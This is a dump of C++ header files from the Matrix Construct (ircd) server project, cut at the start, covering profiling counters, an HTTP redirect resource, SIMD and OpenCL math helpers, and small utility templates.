gnu_inline, artificial)) 38 | ircd::prof::arm::read_virtual_counter() 39 | noexcept 40 | { 41 | return 0; 42 | } 43 | #endif 44 | -------------------------------------------------------------------------------- /include/ircd/prof/cycles.h: -------------------------------------------------------------------------------- 1 | // The Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2020 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_PROF_CYCLES_H 13 | 14 | namespace ircd::prof 15 | { 16 | uint64_t cycles() noexcept; 17 | } 18 | 19 | namespace ircd 20 | { 21 | using prof::cycles; 22 | } 23 | 24 | /// Monotonic reference cycles (since system boot) 25 | extern inline uint64_t 26 | __attribute__((flatten, always_inline, gnu_inline, artificial)) 27 | ircd::prof::cycles() 28 | noexcept 29 | { 30 | #if defined(__x86_64__) || defined(__i386__) 31 | return x86::rdtsc(); 32 | #elif defined(__aarch64__) 33 | return arm::read_virtual_counter(); 34 | #elif __has_builtin(__builtin_readcyclecounter) 35 | return __builtin_readcyclecounter(); 36 | #else 37 | static_assert(false, "Select reference cycle counter for platform."); 38 | return 0; 39 | #endif 40 | } 41 | -------------------------------------------------------------------------------- /include/ircd/prof/instructions.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2019 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_PROF_INSTRUCTIONS_H 13 | 14 | namespace ircd::prof 15 | { 16 | struct instructions; 17 | } 18 | 19 | /// Gadget for hardware profiling of instructions for a scope. 20 | /// 21 | struct ircd::prof::instructions 22 | { 23 | prof::group group; 24 | uint64_t retired {0}; 25 | 26 | public: 27 | const uint64_t &at() const; 28 | const uint64_t &sample(); 29 | 30 | instructions(); 31 | instructions(instructions &&) = delete; 32 | instructions(const instructions &) = delete; 33 | ~instructions() noexcept; 34 | }; 35 | -------------------------------------------------------------------------------- /include/ircd/prof/resource.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2019 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_PROF_RESOURCE_H 13 | 14 | namespace ircd::prof 15 | { 16 | struct resource; 17 | 18 | resource &operator+=(resource &a, const resource &b); 19 | resource &operator-=(resource &a, const resource &b); 20 | resource operator+(const resource &a, const resource &b); 21 | resource operator-(const resource &a, const resource &b); 22 | } 23 | 24 | /// Frontend to getrusage(2). This has higher resolution than prof::times 25 | /// in practice with slight added expense. 26 | struct ircd::prof::resource 27 | :std::array 28 | { 29 | enum 30 | { 31 | TIME_USER, // microseconds 32 | TIME_KERN, // microseconds 33 | RSS_MAX, 34 | PF_MINOR, 35 | PF_MAJOR, 36 | BLOCK_IN, 37 | BLOCK_OUT, 38 | SCHED_YIELD, 39 | SCHED_PREEMPT, 40 | }; 41 | 42 | resource(sample_t); 43 | resource() 44 | :std::array{{0}} 45 | {} 46 | }; 47 | -------------------------------------------------------------------------------- /include/ircd/prof/syscall_usage_warning.h: -------------------------------------------------------------------------------- 1 | // The Construct 2 | // 3 | // Copyright (C) The Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2020 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_PROF_SYSCALL_USAGE_WARNING_H 13 | 14 | namespace ircd::prof 15 | { 16 | struct syscall_usage_warning; 17 | } 18 | 19 | #ifdef RB_DEBUG 20 | struct ircd::prof::syscall_usage_warning 21 | { 22 | const string_view fmt; 23 | const va_rtti ap; 24 | ircd::prof::syscall_timer timer; 25 | 26 | template 27 | syscall_usage_warning(const string_view &fmt, args&&... a) 28 | :syscall_usage_warning{fmt, va_rtti{std::forward(a)...}} 29 | {} 30 | 31 | explicit syscall_usage_warning(const string_view &fmt, va_rtti &&ap) 32 | :fmt{fmt} 33 | ,ap{std::move(ap)} 34 | {} 35 | 36 | ~syscall_usage_warning() noexcept; 37 | }; 38 | #else 39 | struct ircd::prof::syscall_usage_warning 40 | { 41 | syscall_usage_warning(const string_view &fmt, ...) 42 | { 43 | // In at least gcc 6.3.0 20170519, template param packs are not DCE'ed 44 | // so legacy varargs are used here. 45 | } 46 | }; 47 | #endif 48 | -------------------------------------------------------------------------------- /include/ircd/prof/times.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2019 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_PROF_TIMES_H 13 | 14 | namespace ircd::prof 15 | { 16 | struct times; 17 | } 18 | 19 | /// Frontend to times(2). This has low resolution in practice, but it's 20 | /// very cheap as far as syscalls go; x-platform implementation courtesy 21 | /// of boost::chrono. 22 | struct ircd::prof::times 23 | { 24 | uint64_t real {0}; 25 | uint64_t kern {0}; 26 | uint64_t user {0}; 27 | 28 | times(sample_t); 29 | times() = default; 30 | }; 31 | -------------------------------------------------------------------------------- /include/ircd/prof/vg.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2019 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_PROF_VG_H 13 | 14 | /// Callgrind hypercall suite 15 | namespace ircd::prof::vg 16 | { 17 | struct enable; 18 | struct disable; 19 | 20 | bool enabled(); 21 | void dump(const char *const reason = nullptr); 22 | void toggle(); 23 | void reset(); 24 | void start() noexcept; 25 | void stop() noexcept; 26 | } 27 | 28 | /// Enable callgrind profiling for the scope 29 | struct ircd::prof::vg::enable 30 | { 31 | enable() noexcept; 32 | ~enable() noexcept; 33 | }; 34 | 35 | /// Disable any enabled callgrind profiling for the scope; then restore. 36 | struct ircd::prof::vg::disable 37 | { 38 | disable() noexcept; 39 | ~disable() noexcept; 40 | }; 41 | -------------------------------------------------------------------------------- /include/ircd/resource/redirect.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2019 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_RESOURCE_REDIRECT_H 13 | 14 | struct ircd::resource::redirect 15 | { 16 | struct permanent; // 308 17 | }; 18 | 19 | /// This is a pseudo-resource that listens on `old_path` and responds with 20 | /// a 308 Permanent Redirect. The Location header replaces old_path with 21 | /// new_path, preserving anything in the URI after the replacement. This 22 | /// resource responds to all of the methods listed as instances. 23 | struct ircd::resource::redirect::permanent 24 | :resource 25 | { 26 | string_view new_path; 27 | method _options; 28 | method _trace; 29 | method _head; 30 | method _get; 31 | method _put; 32 | method _post; 33 | method _patch; 34 | method _delete; 35 | 36 | response handler(client &, const request &); 37 | 38 | permanent(const string_view &old_path, 39 | const string_view &new_path, 40 | struct opts); 41 | }; 42 | -------------------------------------------------------------------------------- /include/ircd/simd/broad_cast.h: -------------------------------------------------------------------------------- 1 | // The Construct 2 | // 3 | // Copyright (C) The Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2020 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_SIMD_BROAD_CAST_H 13 | 14 | namespace ircd::simd 15 | { 16 | template 18 | T broad_cast(T, const V) noexcept; 19 | 20 | template 22 | T broad_cast(const V) noexcept; 23 | } 24 | 25 | template 27 | [[using gnu: always_inline, gnu_inline, artificial]] 28 | extern inline T 29 | ircd::simd::broad_cast(const V v) 30 | noexcept 31 | { 32 | return broad_cast(T{}, v); 33 | } 34 | 35 | template 37 | [[using gnu: always_inline, gnu_inline, artificial]] 38 | extern inline T 39 | ircd::simd::broad_cast(T a, 40 | const V v) 41 | noexcept 42 | { 43 | for(size_t i(0); i < lanes(); ++i) 44 | a[i] = v; 45 | 46 | return a; 47 | } 48 | -------------------------------------------------------------------------------- /include/ircd/simd/cast.h: -------------------------------------------------------------------------------- 1 | // The Construct 2 | // 3 | // Copyright (C) The Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2020 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_CAST_H 13 | 14 | namespace ircd::simd 15 | { 16 | template 18 | const R *cast(const T *const &) noexcept; 19 | 20 | template 22 | R *cast(T *const &) noexcept; 23 | } 24 | 25 | template 27 | inline R * 28 | ircd::simd::cast(T *const &in) 29 | noexcept 30 | { 31 | assert(uintptr_t(in) % std::alignment_of::value == 0); 32 | return reinterpret_cast(in); 33 | } 34 | 35 | template 37 | inline const R * 38 | ircd::simd::cast(const T *const &in) 39 | noexcept 40 | { 41 | assert(uintptr_t(in) % std::alignment_of::value == 0); 42 | return reinterpret_cast(in); 43 | } 44 | -------------------------------------------------------------------------------- /include/ircd/simd/lane_cast.h: -------------------------------------------------------------------------------- 1 | // The Construct 2 | // 3 | // Copyright (C) The Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2020 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_SIMD_LANE_CAST_H 13 | 14 | namespace ircd::simd 15 | { 16 | template 18 | R lane_cast(const T); 19 | } 20 | 21 | /// Convert each lane from a smaller type to a larger type 22 | template 24 | [[using gnu: always_inline, gnu_inline, artificial]] 25 | extern inline R 26 | ircd::simd::lane_cast(const T in) 27 | { 28 | #if __has_builtin(__builtin_convertvector) 29 | return __builtin_convertvector(in, R); 30 | #else 31 | R ret; 32 | for(size_t i(0); i < lanes(); ++i) 33 | ret[i] = in[i]; 34 | 35 | return ret; 36 | #endif 37 | 38 | static_assert 39 | ( 40 | lanes() == lanes(), "Types must have matching number of lanes." 41 | ); 42 | } 43 | -------------------------------------------------------------------------------- /include/ircd/simd/lower.h: -------------------------------------------------------------------------------- 1 | // The Construct 2 | // 3 | // Copyright (C) The Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2020 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_SIMD_LOWER_H 13 | 14 | namespace ircd::simd 15 | { 16 | template 18 | R lower(const T) noexcept; 19 | } 20 | 21 | template 23 | inline R 24 | ircd::simd::lower(const T a) 25 | noexcept 26 | { 27 | static_assert 28 | ( 29 | sizeof(R) * 2 == sizeof(T), 30 | "Types must have equal size." 31 | ); 32 | 33 | static_assert 34 | ( 35 | lanes() * 2 == lanes(), 36 | "T must have twice as many lanes as R" 37 | ); 38 | 39 | R ret; 40 | for(size_t i(0); i < lanes(); ++i) 41 | ret[i] = a[i]; 42 | 43 | return ret; 44 | } 45 | -------------------------------------------------------------------------------- /include/ircd/simd/pack.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2021 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_SIMD_PACK_H 13 | 14 | // Pack values left overwriting unmasked lanes. 15 | namespace ircd::simd 16 | { 17 | template 19 | T pack(const T vals, const U mask) noexcept; 20 | } 21 | 22 | /// Left-pack values to eliminate unmasked lanes. 23 | /// TODO: WIP 24 | template 26 | inline T 27 | ircd::simd::pack(const T val, 28 | const U mask) 29 | noexcept 30 | { 31 | static_assert 32 | ( 33 | lanes() == lanes() 34 | ); 35 | 36 | static_assert 37 | ( 38 | std::is_integral>() 39 | ); 40 | 41 | U idx{0}, add(mask & 1); 42 | for(uint i(0); i < lanes(); ++i) 43 | { 44 | add = shl() * 8L>(add); 45 | idx += add; 46 | } 47 | 48 | return shuf(val, idx); 49 | } 50 | -------------------------------------------------------------------------------- /include/ircd/simd/popcnt.h: -------------------------------------------------------------------------------- 1 | // The Construct 2 | // 3 | // Copyright (C) The Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2020 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_SIMD_POPCNT_H 13 | 14 | namespace ircd::simd 15 | { 16 | template uint popcnt(const T) noexcept; 17 | } 18 | 19 | /// Convenience template. Unfortunately this drops to scalar until specific 20 | /// targets and specializations are created. 21 | template 22 | inline uint 23 | ircd::simd::popcnt(const T a) 24 | noexcept 25 | { 26 | uint ret(0), i(0); 27 | for(; i < lanes(); ++i) 28 | ret += popcount(a[i]); 29 | 30 | return ret; 31 | } 32 | -------------------------------------------------------------------------------- /include/ircd/simd/split.h: -------------------------------------------------------------------------------- 1 | // The Construct 2 | // 3 | // Copyright (C) The Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2020 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_SIMD_SPLIT_H 13 | 14 | namespace ircd::simd 15 | { 16 | template 18 | std::array split(const T) noexcept; 19 | } 20 | 21 | template 23 | inline std::array 24 | ircd::simd::split(const T a) 25 | noexcept 26 | { 27 | static_assert 28 | ( 29 | sizeof(R) * 2 == sizeof(T), 30 | "Types must have equal size." 31 | ); 32 | 33 | static_assert 34 | ( 35 | lanes() * 2 == lanes(), 36 | "T must have twice as many lanes as R" 37 | ); 38 | 39 | std::array ret; 40 | for(size_t i(0); i < lanes(); ++i) 41 | ret[0][i] = a[i], 42 | ret[1][i] = a[lanes() + i]; 43 | 44 | return ret; 45 | } 46 | -------------------------------------------------------------------------------- /include/ircd/simd/upper.h: -------------------------------------------------------------------------------- 1 | // The Construct 2 | // 3 | // Copyright (C) The Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2020 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_SIMD_UPPER_H 13 | 14 | namespace ircd::simd 15 | { 16 | template 18 | R upper(const T) noexcept; 19 | } 20 | 21 | template 23 | inline R 24 | ircd::simd::upper(const T a) 25 | noexcept 26 | { 27 | static_assert 28 | ( 29 | sizeof(R) * 2 == sizeof(T), 30 | "Types must have equal size." 31 | ); 32 | 33 | static_assert 34 | ( 35 | lanes() * 2 == lanes(), 36 | "T must have twice as many lanes as R" 37 | ); 38 | 39 | R ret; 40 | for(size_t i(0); i < lanes(); ++i) 41 | ret[i] = a[lanes() + i]; 42 | 43 | return ret; 44 | } 45 | -------------------------------------------------------------------------------- /include/ircd/simt/hadd.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2022 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_SIMT_HADD_H 13 | 14 | #if defined(__OPENCL_VERSION__) && defined(__SIZEOF_FLOAT4__) 15 | inline float 16 | __attribute__((always_inline)) 17 | ircd_simt_hadd_f4(const float4 in) 18 | { 19 | float ret = 0.0f; 20 | for(uint i = 0; i < 4; ++i) 21 | ret += in[i]; 22 | 23 | return ret; 24 | } 25 | #endif 26 | 27 | #if defined(__OPENCL_VERSION__) && defined(__SIZEOF_FLOAT8__) 28 | inline float 29 | __attribute__((always_inline)) 30 | ircd_simt_hadd_f8(const float8 in) 31 | { 32 | float ret = 0.0f; 33 | for(uint i = 0; i < 8; ++i) 34 | ret += in[i]; 35 | 36 | return ret; 37 | } 38 | #endif 39 | 40 | #if defined(__OPENCL_VERSION__) && defined(__SIZEOF_FLOAT16__) 41 | inline float 42 | __attribute__((always_inline)) 43 | ircd_simt_hadd_f16(const float16 in) 44 | { 45 | float ret = 0.0f; 46 | for(uint i = 0; i < 16; ++i) 47 | ret += in[i]; 48 | 49 | return ret; 50 | } 51 | #endif 52 | -------------------------------------------------------------------------------- /include/ircd/simt/math.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2022 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_SIMT_MATH_H 13 | 14 | #ifdef __OPENCL_VERSION__ 15 | inline bool 16 | ircd_math_is_pow2(const uint val) 17 | { 18 | return val > 0 && (val & (val - 1)) == 0; 19 | } 20 | #endif 21 | -------------------------------------------------------------------------------- /include/ircd/simt/samax.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2021 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_SIMT_SAMAX_H 13 | 14 | /// Softargmax state. 15 | /// 16 | /// In FP32 environments, naively implementing softmax as expressed in 17 | /// literature will overflow. Researchers have mitigated this at the cost 18 | /// of some extra state and passes. 19 | struct ircd_math_samax 20 | { 21 | float 22 | mu, 23 | sum, 24 | lambda; 25 | }; 26 | -------------------------------------------------------------------------------- /include/ircd/simt/simt.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2021 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_SIMT_H 13 | 14 | #include "portable.h" 15 | #include "assert.h" 16 | #include "hwid2.h" 17 | #include "hwid1.h" 18 | #include "hwid.h" 19 | #include "cycles.h" 20 | #include "mem.h" 21 | #include "math.h" 22 | #include "hadd.h" 23 | #include "broadcast.h" 24 | #include "reduce_add.h" 25 | #include "reduce_max.h" 26 | #include "sort.h" 27 | #include "mean.h" 28 | #include "norm.h" 29 | #include "rand.h" 30 | #include "samax.h" 31 | -------------------------------------------------------------------------------- /include/ircd/spirit/qi_string.h: -------------------------------------------------------------------------------- 1 | // The Construct 2 | // 3 | // Copyright (C) The Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2022 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_SPIRIT_STRING_H 13 | 14 | #if defined(__clang__) 15 | namespace boost::spirit::qi::detail 16 | { 17 | template 19 | [[gnu::always_inline]] 20 | inline bool 21 | string_parse(const char *str, 22 | iterator &first, 23 | const iterator &last, 24 | attribute &attr) 25 | { 26 | char ch; 27 | iterator it(first); 28 | #pragma clang loop unroll(disable) vectorize(enable) 29 | for(ch = *str; likely(ch != 0); ch = *str) 30 | { 31 | if(likely(it == last)) 32 | return false; 33 | 34 | if(unlikely(ch != *it)) 35 | return false; 36 | 37 | ++it; 38 | ++str; 39 | } 40 | 41 | spirit::traits::assign_to(first, it, attr); 42 | first = it; 43 | return true; 44 | } 45 | } 46 | #endif 47 | -------------------------------------------------------------------------------- /include/ircd/terminate.h: -------------------------------------------------------------------------------- 1 | // The Construct 2 | // 3 | // Copyright (C) The Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2020 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_TERMINATE_H 13 | 14 | namespace ircd 15 | { 16 | struct terminate; 17 | } 18 | 19 | /// Always prefer ircd::terminate() to std::terminate() for all project code. 20 | struct ircd::terminate 21 | { 22 | template 24 | [[noreturn]] terminate(const string_view &, A&&...) noexcept; 25 | 26 | [[noreturn]] terminate(const std::exception &) noexcept; 27 | 28 | [[noreturn]] terminate(std::exception_ptr) noexcept; 29 | 30 | [[noreturn]] terminate() noexcept; 31 | 32 | [[noreturn]] ~terminate() noexcept; 33 | }; 34 | 35 | template 37 | [[noreturn]] 38 | inline 39 | ircd::terminate::terminate(const string_view &fmt, 40 | A&&... ap) 41 | noexcept 42 | :terminate 43 | { 44 | E{fmt, std::forward(ap)...} 45 | } 46 | { 47 | __builtin_unreachable(); 48 | } 49 | -------------------------------------------------------------------------------- /include/ircd/util/README.md: -------------------------------------------------------------------------------- 1 | ## Utility Toolchest 2 | 3 | This namespace contains an accumulated collection of miscellaneous classes 4 | and functions which have demonstrated value some place in the project, but are 5 | not really specific to the project's application. While most of libircd is 6 | arguably a utility suite itself (i.e tokens.h and lex_cast.h and base.h 7 | which are not within ircd::util) the contents of this namespace tend to be 8 | even more abstract, and serve as utilities to the utilities, etc. This 9 | collection is here to save developers time and enforce DRY. 10 | 11 | These tools still rank below ircd::exception, *_view, buffer:: and allocator:: 12 | and can still make use of those considering the linear inclusion strategy of 13 | the project (see: ircd.h). 14 | -------------------------------------------------------------------------------- /include/ircd/util/all.h: -------------------------------------------------------------------------------- 1 | // The Construct 2 | // 3 | // Copyright (C) The Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2020 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_UTIL_ALL_H 13 | 14 | namespace ircd { 15 | inline namespace util 16 | { 17 | template 19 | bool all(const T (&vec)[SIZE]) noexcept; 20 | 21 | template 22 | bool all(const bool (&vec)[SIZE]) noexcept; 23 | }} 24 | 25 | template 26 | inline bool 27 | ircd::util::all(const bool (&vec)[SIZE]) 28 | noexcept 29 | { 30 | return std::all_of(vec, vec + SIZE, identity{}); 31 | } 32 | -------------------------------------------------------------------------------- /include/ircd/util/compare_exchange.h: -------------------------------------------------------------------------------- 1 | // The Construct 2 | // 3 | // Copyright (C) The Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2020 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_UTIL_COMPARE_EXCHANGE_H 13 | 14 | namespace ircd { 15 | inline namespace util 16 | { 17 | template 18 | bool compare_exchange(T &value, T &expect, T desire) noexcept; 19 | }} 20 | 21 | /// Non-atomic compare_exchange(). 22 | template 23 | inline bool 24 | ircd::util::compare_exchange(T &value, 25 | T &expect, 26 | T desire) 27 | noexcept 28 | { 29 | const bool ret 30 | { 31 | value == expect 32 | }; 33 | 34 | value = ret? desire: value; 35 | expect = ret? expect: value; 36 | return ret; 37 | } 38 | -------------------------------------------------------------------------------- /include/ircd/util/construction.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2019 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_UTIL_CONSTRUCTION_H 13 | 14 | namespace ircd 15 | { 16 | inline namespace util 17 | { 18 | struct construction; 19 | } 20 | } 21 | 22 | struct ircd::util::construction 23 | { 24 | template 26 | construction(F&&, A&&...); 27 | }; 28 | 29 | template 31 | [[using gnu: always_inline, artificial]] 32 | inline 33 | ircd::util::construction::construction(F&& f, 34 | A&&... a) 35 | { 36 | f(std::forward(a)...); 37 | } 38 | -------------------------------------------------------------------------------- /include/ircd/util/custom_ptr.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2019 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_UTIL_CUSTOM_PTR_H 13 | 14 | namespace ircd { 15 | inline namespace util 16 | { 17 | template struct custom_ptr; 18 | }} 19 | 20 | template 21 | struct ircd::util::custom_ptr 22 | :std::unique_ptr> 23 | { 24 | operator T *() const; 25 | 26 | using std::unique_ptr>::unique_ptr; 27 | }; 28 | 29 | template 30 | ircd::util::custom_ptr::operator 31 | T *() 32 | const 33 | { 34 | return this->get(); 35 | } 36 | -------------------------------------------------------------------------------- /include/ircd/util/env.h: -------------------------------------------------------------------------------- 1 | // Matrix Construct 2 | // 3 | // Copyright (C) Matrix Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2018 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_UTIL_ENV_H 13 | 14 | namespace ircd { 15 | inline namespace util 16 | { 17 | using env_closure = closure_bool; 18 | 19 | // Iterate environment variables starting with prefix 20 | bool for_each_env(const string_view &, const env_closure &); 21 | 22 | // Iterate all environment variables 23 | bool for_each_env(const env_closure &); 24 | 25 | // Get one environment variable 26 | string_view getenv(const string_view &); 27 | }} 28 | -------------------------------------------------------------------------------- /include/ircd/util/identity.h: -------------------------------------------------------------------------------- 1 | // The Construct 2 | // 3 | // Copyright (C) The Construct Developers, Authors & Contributors 4 | // Copyright (C) 2016-2020 Jason Volk 5 | // 6 | // Permission to use, copy, modify, and/or distribute this software for any 7 | // purpose with or without fee is hereby granted, provided that the above 8 | // copyright notice and this permission notice is present in all copies. The 9 | // full license for this software is available in the LICENSE file. 10 | 11 | #pragma once 12 | #define HAVE_IRCD_UTIL_IDENTITY_H 13 | 14 | namespace ircd 15 | { 16 | inline namespace util 17 | { 18 | struct identity; 19 | } 20 | } 21 | 22 | struct ircd::util::identity 23 | { 24 | template 25 | constexpr T&& operator()(T&& t) const noexcept; 26 | }; 27 | 28 | template 29 | constexpr inline T&& 30 | ircd::util::identity::operator()(T&& t) 31 | const noexcept 32 | { 33 | return std::forward(t); 34 | } 35 | -------------------------------------------------------------------------------- 